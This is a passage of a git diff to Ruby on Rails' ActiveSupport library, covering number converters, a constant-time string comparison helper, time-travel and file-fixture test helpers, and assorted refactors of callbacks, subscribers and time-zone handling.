+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
new file mode 100644
index 0000000000..af2ee56d91
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -0,0 +1,49 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToPhoneConverter < NumberConverter #:nodoc:
+      def convert
+        str  = country_code(opts[:country_code])
+        str << convert_to_phone_number(number.to_s.strip)
+        str << phone_ext(opts[:extension])
+      end
+
+      private
+
+        def convert_to_phone_number(number)
+          if opts[:area_code]
+            convert_with_area_code(number)
+          else
+            convert_without_area_code(number)
+          end
+        end
+
+        def convert_with_area_code(number)
+          number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+          number
+        end
+
+        def convert_without_area_code(number)
+          number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+          number.slice!(0, 1) if start_with_delimiter?(number)
+          number
+        end
+
+        def start_with_delimiter?(number)
+          delimiter.present? && number.start_with?(delimiter)
+        end
+
+        def delimiter
+          opts[:delimiter] || "-"
+        end
+
+        def country_code(code)
+          code.blank? ? "" : "+#{code}#{delimiter}"
+        end
+
+        def phone_ext(ext)
+          ext.blank? ? "" : " x #{ext}"
+        end
+    end
+  end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
new file mode 100644
index 0000000000..df316a08e6
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -0,0 +1,90 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToRoundedConverter < NumberConverter # :nodoc:
+      self.namespace      = :precision
+      self.validate_float = true
+
+      def convert
+        precision = options.delete :precision
+
+        if precision
+          case number
+          when Float, String
+            @number = BigDecimal(number.to_s)
+          when Rational
+            @number = BigDecimal(number, digit_count(number.to_i) + precision)
+          else
+            @number = number.to_d
+          end
+
+          if options.delete(:significant) && precision > 0
+            digits, rounded_number = digits_and_rounded_number(precision)
+            precision -= digits
+            precision = 0 if precision < 0 # don't let it be negative
+          else
+            rounded_number = number.round(precision)
+            rounded_number = rounded_number.to_i if precision == 0
+            rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+          end
+
+          formatted_string =
+            if BigDecimal === rounded_number && rounded_number.finite?
+              s = rounded_number.to_s('F') + '0'*precision
+              a, b = s.split('.', 2)
+              a + '.' + b[0, precision]
+            else
+              "%00.#{precision}f" % rounded_number
+            end
+        else
+          formatted_string = number
+        end
+
+        delimited_number = NumberToDelimitedConverter.convert(formatted_string, options)
+        format_number(delimited_number)
+      end
+
+      private
+
+        def digits_and_rounded_number(precision)
+          if zero?
+            [1, 0]
+          else
+            digits = digit_count(number)
+            multiplier = 10 ** (digits - precision)
+            rounded_number = calculate_rounded_number(multiplier)
+            digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
+            [digits, rounded_number]
+          end
+        end
+
+        def calculate_rounded_number(multiplier)
+          (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
+        end
+
+        def digit_count(number)
+          number.zero? ? 1 : (Math.log10(absolute_number(number)) + 1).floor
+        end
+
+        def strip_insignificant_zeros
+          options[:strip_insignificant_zeros]
+        end
+
+        def format_number(number)
+          if strip_insignificant_zeros
+            escaped_separator = Regexp.escape(options[:separator])
+            number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+          else
+            number
+          end
+        end
+
+        def absolute_number(number)
+          number.respond_to?(:abs) ? number.abs : number.to_d.abs
+        end
+
+        def zero?
+          number.respond_to?(:zero?) ? number.zero? : number.to_d.zero?
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/option_merger.rb b/activesupport/lib/active_support/option_merger.rb
index e55ffd12c3..dea84e437f 100644
--- a/activesupport/lib/active_support/option_merger.rb
+++ b/activesupport/lib/active_support/option_merger.rb
@@ -12,7 +12,7 @@ module ActiveSupport
 
     private
       def method_missing(method, *arguments, &block)
-        if arguments.last.is_a?(Proc)
+        if arguments.first.is_a?(Proc)
           proc = arguments.pop
           arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
         else
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 1a3693f766..4680d5acb7 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -28,6 +28,14 @@ module ActiveSupport
       coder.represent_seq '!omap', map { |k,v| { k => v } }
     end
 
+    def select(*args, &block)
+      dup.tap { |hash| hash.select!(*args, &block) }
+    end
+
+    def reject(*args, &block)
+      dup.tap { |hash| hash.reject!(*args, &block) }
+    end
+
     def nested_under_indifferent_access
       self
     end
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
index aa682fb36c..ca2e4d5625 100644
--- a/activesupport/lib/active_support/per_thread_registry.rb
+++ b/activesupport/lib/active_support/per_thread_registry.rb
@@ -32,21 +32,22 @@ module ActiveSupport
   #
   # If the class has an initializer, it must accept no arguments.
   module PerThreadRegistry
-    protected
+    def self.extended(object)
+      object.instance_variable_set '@per_thread_registry_key', object.name.freeze
+    end
+
+    def instance
+      Thread.current[@per_thread_registry_key] ||= new
+    end
 
+    protected
       def method_missing(name, *args, &block) # :nodoc:
         # Caches the method definition as a singleton method of the receiver.
         define_singleton_method(name) do |*a, &b|
-          per_thread_registry_instance.public_send(name, *a, &b)
+          instance.public_send(name, *a, &b)
         end
 
         send(name, *args, &block)
       end
-
-    private
-
-      def per_thread_registry_instance
-        Thread.current[name] ||= new
-      end
   end
 end
diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb
index 133aa6a054..6eba24b569 100644
--- a/activesupport/lib/active_support/railtie.rb
+++ b/activesupport/lib/active_support/railtie.rb
@@ -13,6 +13,13 @@ module ActiveSupport
       end
     end
 
+    initializer "active_support.halt_callback_chains_on_return_false", after: :load_config_initializers do |app|
+      if app.config.active_support.key? :halt_callback_chains_on_return_false
+        ActiveSupport::Callbacks::CallbackChain.halt_and_display_warning_on_return_false = \
+          app.config.active_support.halt_callback_chains_on_return_false
+      end
+    end
+
     # Sets the default value for Time.zone
     # If assigned value cannot be matched to a TimeZone, an exception will be raised.
     initializer "active_support.initialize_time_zone" do |app|
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
index a7eba91ac5..1a02acd5b1 100644
--- a/activesupport/lib/active_support/rescuable.rb
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -60,7 +60,7 @@ module ActiveSupport
         end
 
         klasses.each do |klass|
-          key = if klass.is_a?(Class) && klass <= Exception
+          key = if klass.is_a?(Module) && klass.respond_to?(:===)
             klass.name
           elsif klass.is_a?(String)
             klass
@@ -101,7 +101,7 @@ module ActiveSupport
         # itself when rescue_from CONSTANT is executed.
         klass = self.class.const_get(klass_name) rescue nil
         klass ||= klass_name.constantize rescue nil
-        exception.is_a?(klass) if klass
+        klass === exception if klass
       end
 
       case rescuer
diff --git a/activesupport/lib/active_support/security_utils.rb b/activesupport/lib/active_support/security_utils.rb
new file mode 100644
index 0000000000..64c4801179
--- /dev/null
+++ b/activesupport/lib/active_support/security_utils.rb
@@ -0,0 +1,20 @@
+module ActiveSupport
+  module SecurityUtils
+    # Constant time string comparison.
+    #
+    # The values compared should be of fixed length, such as strings
+    # that have already been processed by HMAC. This should not be used
+    # on variable length plaintext strings because it could leak length info
+    # via timing attacks.
+    def secure_compare(a, b)
+      return false unless a.bytesize == b.bytesize
+
+      l = a.unpack "C#{a.bytesize}"
+
+      res = 0
+      b.each_byte { |byte| res |= byte ^ l.shift }
+      res == 0
+    end
+    module_function :secure_compare
+  end
+end
diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb
index 34c6f900c1..cd40284660 100644
--- a/activesupport/lib/active_support/subscriber.rb
+++ b/activesupport/lib/active_support/subscriber.rb
@@ -31,22 +31,54 @@ module ActiveSupport
 
       # Attach the subscriber to a namespace.
       def attach_to(namespace, subscriber=new, notifier=ActiveSupport::Notifications)
+        @namespace  = namespace
+        @subscriber = subscriber
+        @notifier   = notifier
+
         subscribers << subscriber
 
+        # Add event subscribers for all existing methods on the class.
         subscriber.public_methods(false).each do |event|
-          next if %w{ start finish }.include?(event.to_s)
+          add_event_subscriber(event)
+        end
+      end
 
-          notifier.subscribe("#{event}.#{namespace}", subscriber)
+      # Adds event subscribers for all new methods added to the class.
+      def method_added(event)
+        # Only public methods are added as subscribers, and only if a notifier
+        # has been set up. This means that subscribers will only be set up for
+        # classes that call #attach_to.
+        if public_method_defined?(event) && notifier
+          add_event_subscriber(event)
         end
       end
 
       def subscribers
         @@subscribers ||= []
       end
+
+      protected
+
+      attr_reader :subscriber, :notifier, :namespace
+
+      def add_event_subscriber(event)
+        return if %w{ start finish }.include?(event.to_s)
+
+        pattern = "#{event}.#{namespace}"
+
+        # don't add multiple subscribers (eg. if methods are redefined)
+        return if subscriber.patterns.include?(pattern)
+
+        subscriber.patterns << pattern
+        notifier.subscribe(pattern, subscriber)
+      end
     end
 
+    attr_reader :patterns # :nodoc:
+
     def initialize
       @queue_key = [self.class.name, object_id].join "-"
+      @patterns  = []
       super
     end
 
@@ -64,14 +96,14 @@ module ActiveSupport
       event.end = finished
       event.payload.merge!(payload)
 
-      method = name.split('.').first
+      method = name.split('.'.freeze).first
       send(method, event)
     end
 
     private
 
       def event_stack
-        SubscriberQueueRegistry.get_queue(@queue_key)
+        SubscriberQueueRegistry.instance.get_queue(@queue_key)
       end
   end
 
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index 18bc919734..9086a959aa 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/object/blank'
 require 'logger'
 require 'active_support/logger'
@@ -42,7 +43,9 @@ module ActiveSupport
       end
 
       def current_tags
-        Thread.current[:activesupport_tagged_logging_tags] ||= []
+        # We use our object ID here to void conflicting with other instances
+        thread_key = @thread_key ||= "activesupport_tagged_logging_tags:#{object_id}".freeze
+        Thread.current[thread_key] ||= []
       end
 
       private
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index 2f27aff2bd..739823bd56 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -7,52 +7,56 @@ require 'active_support/testing/deprecation'
 require 'active_support/testing/declarative'
 require 'active_support/testing/isolation'
 require 'active_support/testing/constant_lookup'
+require 'active_support/testing/time_helpers'
+require 'active_support/testing/file_fixtures'
 require 'active_support/core_ext/kernel/reporting'
-require 'active_support/deprecation'
-
-begin
-  silence_warnings { require 'mocha/setup' }
-rescue LoadError
-end
-
-module Minitest # :nodoc:
-  class << self
-    remove_method :__run
-  end
-
-  def self.__run reporter, options # :nodoc:
-    # FIXME: MT5's runnables is not ordered. This is needed because
-    # we have have tests have cross-class order-dependent bugs.
-    suites = Runnable.runnables.sort_by { |ts| ts.name.to_s }
-
-    parallel, serial = suites.partition { |s| s.test_order == :parallel }
-
-    ParallelEach.new(parallel).map { |suite| suite.run reporter, options } +
-     serial.map { |suite| suite.run reporter, options }
-  end
-end
 
 module ActiveSupport
   class TestCase < ::Minitest::Test
     Assertion = Minitest::Assertion
 
-    alias_method :method_name, :name
+    class << self
+      # Sets the order in which test cases are run.
+      #
+      #   ActiveSupport::TestCase.test_order = :random # => :random
+      #
+      # Valid values are:
+      # * +:random+   (to run tests in random order)
+      # * +:parallel+ (to run tests in parallel)
+      # * +:sorted+   (to run tests alphabetically by method name)
+      # * +:alpha+    (equivalent to +:sorted+)
+      def test_order=(new_order)
+        ActiveSupport.test_order = new_order
+      end
 
-    $tags = {}
-    def self.for_tag(tag)
-      yield if $tags[tag]
-    end
+      # Returns the order in which test cases are run.
+      #
+      #   ActiveSupport::TestCase.test_order # => :random
+      #
+      # Possible values are +:random+, +:parallel+, +:alpha+, +:sorted+.
+      # Defaults to +:random+.
+      def test_order
+        test_order = ActiveSupport.test_order
+
+        if test_order.nil?
+          test_order = :random
+          self.test_order = test_order
+        end
 
-    # FIXME: we have tests that depend on run order, we should fix that and
-    # remove this method.
-    def self.test_order # :nodoc:
-      :sorted
+        test_order
+      end
+
+      alias :my_tests_are_order_dependent! :i_suck_and_my_tests_are_order_dependent!
     end
 
+    alias_method :method_name, :name
+
     include ActiveSupport::Testing::TaggedLogging
     include ActiveSupport::Testing::SetupAndTeardown
     include ActiveSupport::Testing::Assertions
     include ActiveSupport::Testing::Deprecation
+    include ActiveSupport::Testing::TimeHelpers
+    include ActiveSupport::Testing::FileFixtures
     extend ActiveSupport::Testing::Declarative
 
     # test/unit backwards compatibility methods
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index 76a591bc3b..8b649c193f 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -9,7 +9,7 @@ module ActiveSupport
       #
       #   assert_not nil    # => true
       #   assert_not false  # => true
-      #   assert_not 'foo'  # => 'foo' is not nil or false
+      #   assert_not 'foo'  # => Expected "foo" to be nil or false
       #
       # An error message can be specified.
       #
@@ -66,7 +66,7 @@ module ActiveSupport
         exps = expressions.map { |e|
           e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
         }
-        before = exps.map { |e| e.call }
+        before = exps.map(&:call)
 
         yield
 
diff --git a/activesupport/lib/active_support/testing/constant_lookup.rb b/activesupport/lib/active_support/testing/constant_lookup.rb
index 1b2a75c35d..07d477c0db 100644
--- a/activesupport/lib/active_support/testing/constant_lookup.rb
+++ b/activesupport/lib/active_support/testing/constant_lookup.rb
@@ -36,12 +36,8 @@ module ActiveSupport
           while names.size > 0 do
             names.last.sub!(/Test$/, "")
             begin
-              constant = names.join("::").constantize
+              constant = names.join("::").safe_constantize
               break(constant) if yield(constant)
-            rescue NoMethodError # subclass of NameError
-              raise
-            rescue NameError
-              # Constant wasn't found, move on
             ensure
               names.pop
             end
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
index 1fa73caefa..0bf3643a56 100644
--- a/activesupport/lib/active_support/testing/declarative.rb
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -1,23 +1,6 @@
 module ActiveSupport
   module Testing
     module Declarative
-
-      def self.extended(klass) #:nodoc:
-        klass.class_eval do
-
-          unless method_defined?(:describe)
-            def self.describe(text)
-              class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-                def self.name
-                  "#{text}"
-                end
-              RUBY_EVAL
-            end
-          end
-
-        end
-      end
-
       unless defined?(Spec)
         # Helper to define a test method using a String. Under the hood, it replaces
         # spaces with underscores and defines the test method.
@@ -27,7 +10,7 @@ module ActiveSupport
         #   end
         def test(name, &block)
           test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
-          defined = instance_method(test_name) rescue false
+          defined = method_defined? test_name
           raise "#{test_name} is already defined in #{self}" if defined
           if block_given?
             define_method(test_name, &block)
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
index a8342904dc..6c94c611b6 100644
--- a/activesupport/lib/active_support/testing/deprecation.rb
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -19,18 +19,17 @@ module ActiveSupport
         result
       end
 
-      private
-        def collect_deprecations
-          old_behavior = ActiveSupport::Deprecation.behavior
-          deprecations = []
-          ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
-            deprecations << message
-          end
-          result = yield
-          [result, deprecations]
-        ensure
-          ActiveSupport::Deprecation.behavior = old_behavior
+      def collect_deprecations
+        old_behavior = ActiveSupport::Deprecation.behavior
+        deprecations = []
+        ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+          deprecations << message
         end
+        result = yield
+        [result, deprecations]
+      ensure
+        ActiveSupport::Deprecation.behavior = old_behavior
+      end
     end
   end
 end
diff --git a/activesupport/lib/active_support/testing/file_fixtures.rb b/activesupport/lib/active_support/testing/file_fixtures.rb
new file mode 100644
index 0000000000..4c6a0801b8
--- /dev/null
+++ b/activesupport/lib/active_support/testing/file_fixtures.rb
@@ -0,0 +1,34 @@
+module ActiveSupport
+  module Testing
+    # Adds simple access to sample files called file fixtures.
+    # File fixtures are normal files stored in
+    # <tt>ActiveSupport::TestCase.file_fixture_path</tt>.
+    #
+    # File fixtures are represented as +Pathname+ objects.
+    # This makes it easy to extract specific information:
+    #
+    #   file_fixture("example.txt").read # get the file's content
+    #   file_fixture("example.mp3").size # get the file size
+    module FileFixtures
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :file_fixture_path, instance_writer: false
+      end
+
+      # Returns a +Pathname+ to the fixture file named +fixture_name+.
+      #
+      # Raises ArgumentError if +fixture_name+ can't be found.
+      def file_fixture(fixture_name)
+        path = Pathname.new(File.join(file_fixture_path, fixture_name))
+
+        if path.exist?
+          path
+        else
+          msg = "the directory '%s' does not contain a file named '%s'"
+          raise ArgumentError, msg % [file_fixture_path, fixture_name]
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index d5d31cecbe..247df7423b 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -1,21 +1,16 @@
-require 'rbconfig'
-require 'minitest/parallel_each'
-
 module ActiveSupport
   module Testing
     module Isolation
       require 'thread'
 
       def self.included(klass) #:nodoc:
-        klass.extend(Module.new {
-          def test_methods
-            ParallelEach.new super
-          end
-        })
+        klass.class_eval do
+          parallelize_me!
+        end
       end
 
       def self.forking_env?
-        !ENV["NO_FORK"] && ((RbConfig::CONFIG['host_os'] !~ /mswin|mingw/) && (RUBY_PLATFORM !~ /java/))
+        !ENV["NO_FORK"] && Process.respond_to?(:fork)
       end
 
       @@class_setup_mutex = Mutex.new
@@ -40,6 +35,8 @@ module ActiveSupport
       module Forking
         def run_in_isolation(&blk)
           read, write = IO.pipe
+          read.binmode
+          write.binmode
 
           pid = fork do
             read.close
@@ -71,14 +68,24 @@ module ActiveSupport
             exit!
           else
             Tempfile.open("isolation") do |tmpfile|
-              ENV["ISOLATION_TEST"]   = self.class.name
-              ENV["ISOLATION_OUTPUT"] = tmpfile.path
+              env = {
+                ISOLATION_TEST: self.class.name,
+                ISOLATION_OUTPUT: tmpfile.path
+              }
 
               load_paths = $-I.map {|p| "-I\"#{File.expand_path(p)}\"" }.join(" ")
-              `#{Gem.ruby} #{load_paths} #{$0} #{ORIG_ARGV.join(" ")}`
-
-              ENV.delete("ISOLATION_TEST")
-              ENV.delete("ISOLATION_OUTPUT")
+              orig_args = ORIG_ARGV.join(" ")
+              test_opts = "-n#{self.class.name}##{self.name}"
+              command = "#{Gem.ruby} #{load_paths} #{$0} #{orig_args} #{test_opts}"
+
+              # IO.popen lets us pass env in a cross-platform way
+              child = IO.popen([env, command])
+
+              begin
+                Process.wait(child.pid)
+              rescue Errno::ECHILD # The child process may exit before we wait
+                nil
+              end
 
               return tmpfile.read.unpack("m")[0]
             end
diff --git a/activesupport/lib/active_support/testing/stream.rb b/activesupport/lib/active_support/testing/stream.rb
new file mode 100644
index 0000000000..895192ad05
--- /dev/null
+++ b/activesupport/lib/active_support/testing/stream.rb
@@ -0,0 +1,42 @@
+module ActiveSupport
+  module Testing
+    module Stream #:nodoc:
+      private
+
+      def silence_stream(stream)
+        old_stream = stream.dup
+        stream.reopen(IO::NULL)
+        stream.sync = true
+        yield
+      ensure
+        stream.reopen(old_stream)
+        old_stream.close
+      end
+
+      def quietly
+        silence_stream(STDOUT) do
+          silence_stream(STDERR) do
+            yield
+          end
+        end
+      end
+
+      def capture(stream)
+        stream = stream.to_s
+        captured_stream = Tempfile.new(stream)
+        stream_io = eval("$#{stream}")
+        origin_stream = stream_io.dup
+        stream_io.reopen(captured_stream)
+
+        yield
+
+        stream_io.rewind
+        return captured_stream.read
+      ensure
+        captured_stream.close
+        captured_stream.unlink
+        stream_io.reopen(origin_stream)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/tagged_logging.rb b/activesupport/lib/active_support/testing/tagged_logging.rb
index f4cee64091..843ce4a867 100644
--- a/activesupport/lib/active_support/testing/tagged_logging.rb
+++ b/activesupport/lib/active_support/testing/tagged_logging.rb
@@ -6,7 +6,7 @@ module ActiveSupport
       attr_writer :tagged_logger
 
       def before_setup
-        if tagged_logger
+        if tagged_logger && tagged_logger.info?
           heading = "#{self.class}: #{name}"
           divider = '-' * heading.size
           tagged_logger.info divider
diff --git a/activesupport/lib/active_support/testing/time_helpers.rb b/activesupport/lib/active_support/testing/time_helpers.rb
new file mode 100644
index 0000000000..df5186ddec
--- /dev/null
+++ b/activesupport/lib/active_support/testing/time_helpers.rb
@@ -0,0 +1,132 @@
+module ActiveSupport
+  module Testing
+    class SimpleStubs # :nodoc:
+      Stub = Struct.new(:object, :method_name, :original_method)
+
+      def initialize
+        @stubs = {}
+      end
+
+      def stub_object(object, method_name, return_value)
+        key = [object.object_id, method_name]
+
+        if stub = @stubs[key]
+          unstub_object(stub)
+        end
+
+        new_name = "__simple_stub__#{method_name}"
+
+        @stubs[key] = Stub.new(object, method_name, new_name)
+
+        object.singleton_class.send :alias_method, new_name, method_name
+        object.define_singleton_method(method_name) { return_value }
+      end
+
+      def unstub_all!
+        @stubs.each_value do |stub|
+          unstub_object(stub)
+        end
+        @stubs = {}
+      end
+
+      private
+
+        def unstub_object(stub)
+          singleton_class = stub.object.singleton_class
+          singleton_class.send :undef_method, stub.method_name
+          singleton_class.send :alias_method, stub.method_name, stub.original_method
+          singleton_class.send :undef_method, stub.original_method
+        end
+    end
+
+    # Containing helpers that helps you test passage of time.
+    module TimeHelpers
+      # Changes current time to the time in the future or in the past by a given time difference by
+      # stubbing +Time.now+ and +Date.today+.
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel 1.day
+      #   Time.current # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+      #   Date.current # => Sun, 10 Nov 2013
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel 1.day do
+      #     User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+      #   end
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel(duration, &block)
+        travel_to Time.now + duration, &block
+      end
+
+      # Changes current time to the given time by stubbing +Time.now+ and
+      # +Date.today+ to return the time or date passed into this method.
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.new(2004, 11, 24, 01, 04, 44)
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   Date.current # => Wed, 24 Nov 2004
+      #
+      # Dates are taken as their timestamp at the beginning of the day in the
+      # application time zone. <tt>Time.current</tt> returns said timestamp,
+      # and <tt>Time.now</tt> its equivalent in the system time zone. Similarly,
+      # <tt>Date.current</tt> returns a date equal to the argument, and
+      # <tt>Date.today</tt> the date according to <tt>Time.now</tt>, which may
+      # be different. (Note that you rarely want to deal with <tt>Time.now</tt>,
+      # or <tt>Date.today</tt>, in order to honor the application time zone
+      # please always use <tt>Time.current</tt> and <tt>Date.current</tt>.)
+      #
+      # Note that the usec for the time passed will be set to 0 to prevent rounding
+      # errors with external services, like MySQL (which will round instead of floor,
+      # leading to off-by-one-second errors).
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+      #     Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   end
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel_to(date_or_time)
+        if date_or_time.is_a?(Date) && !date_or_time.is_a?(DateTime)
+          now = date_or_time.midnight.to_time
+        else
+          now = date_or_time.to_time.change(usec: 0)
+        end
+
+        simple_stubs.stub_object(Time, :now, now)
+        simple_stubs.stub_object(Date, :today, now.to_date)
+        simple_stubs.stub_object(DateTime, :now, now.to_datetime)
+
+        if block_given?
+          begin
+            yield
+          ensure
+            travel_back
+          end
+        end
+      end
+
+      # Returns the current time back to its original state, by removing the stubs added by
+      # `travel` and `travel_to`.
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.new(2004, 11, 24, 01, 04, 44)
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   travel_back
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel_back
+        simple_stubs.unstub_all!
+      end
+
+      private
+
+        def simple_stubs
+          @simple_stubs ||= SimpleStubs.new
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/time.rb b/activesupport/lib/active_support/time.rb
index 92a593965e..ea2d3391bd 100644
--- a/activesupport/lib/active_support/time.rb
+++ b/activesupport/lib/active_support/time.rb
@@ -1,5 +1,3 @@
-require 'active_support'
-
 module ActiveSupport
   autoload :Duration, 'active_support/duration'
   autoload :TimeWithZone, 'active_support/time_with_zone'
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 95b9b8e5ae..8ddf233b3e 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -45,7 +45,7 @@ module ActiveSupport
 
     def initialize(utc_time, time_zone, local_time = nil, period = nil)
       @utc, @time_zone, @time = utc_time, time_zone, local_time
-      @period = @utc ? period : get_period_and_ensure_valid_local_time
+      @period = @utc ? period : get_period_and_ensure_valid_local_time(period)
     end
 
     # Returns a Time or DateTime instance that represents the time in +time_zone+.
@@ -75,8 +75,8 @@ module ActiveSupport
 
     # Returns a <tt>Time.local()</tt> instance of the simultaneous time in your
     # system's <tt>ENV['TZ']</tt> zone.
-    def localtime
-      utc.respond_to?(:getlocal) ? utc.getlocal : utc.to_time.getlocal
+    def localtime(utc_offset = nil)
+      utc.respond_to?(:getlocal) ? utc.getlocal(utc_offset) : utc.to_time.getlocal(utc_offset)
     end
     alias_method :getlocal, :localtime
 
@@ -121,19 +121,28 @@ module ActiveSupport
       utc? && alternate_utc_string || TimeZone.seconds_to_utc_offset(utc_offset, colon)
     end
 
-    # Time uses +zone+ to display the time zone abbreviation, so we're
-    # duck-typing it.
+    # Returns the time zone abbreviation.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)'   # => "Eastern Time (US & Canada)"
+    #   Time.zone.now.zone # => "EST"
     def zone
       period.zone_identifier.to_s
     end
 
+    # Returns a string of the object's date, time, zone and offset from UTC.
+    #
+    #   Time.zone.now.httpdate  # => "Thu, 04 Dec 2014 11:00:25 EST -05:00"
     def inspect
       "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
     end
 
+    # Returns a string of the object's date and time in the ISO 8601 standard
+    # format.
+    #
+    #   Time.zone.now.xmlschema  # => "2014-12-04T11:02:37-05:00"
     def xmlschema(fraction_digits = 0)
-      fraction = if fraction_digits > 0
-        (".%06i" % time.usec)[0, fraction_digits + 1]
+      fraction = if fraction_digits.to_i > 0
+        (".%06i" % time.usec)[0, fraction_digits.to_i + 1]
       end
 
       "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
@@ -146,15 +155,15 @@ module ActiveSupport
     # to +false+.
     #
     #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
-    #   # => "2005-02-01T15:15:10Z"
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   # => "2005-02-01T05:15:10.000-10:00"
     #
     #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
-    #   # => "2005/02/01 15:15:10 +0000"
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   # => "2005/02/01 05:15:10 -1000"
     def as_json(options = nil)
       if ActiveSupport::JSON::Encoding.use_standard_json_time_format
-        xmlschema(3)
+        xmlschema(ActiveSupport::JSON::Encoding.time_precision)
       else
         %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
       end
@@ -185,28 +194,27 @@ module ActiveSupport
     end
     alias_method :rfc822, :rfc2822
 
-    # <tt>:db</tt> format outputs time in UTC; all others output time in local.
-    # Uses TimeWithZone's +strftime+, so <tt>%Z</tt> and <tt>%z</tt> work correctly.
+    # Returns a string of the object's date and time.
+    # Accepts an optional <tt>format</tt>:
+    # * <tt>:default</tt> - default value, mimics Ruby Time#to_s format.
+    # * <tt>:db</tt> - format outputs time in UTC :db time. See Time#to_formatted_s(:db).
+    # * Any key in <tt>Time::DATE_FORMATS</tt> can be used. See active_support/core_ext/time/conversions.rb.
     def to_s(format = :default)
       if format == :db
         utc.to_s(format)
       elsif formatter = ::Time::DATE_FORMATS[format]
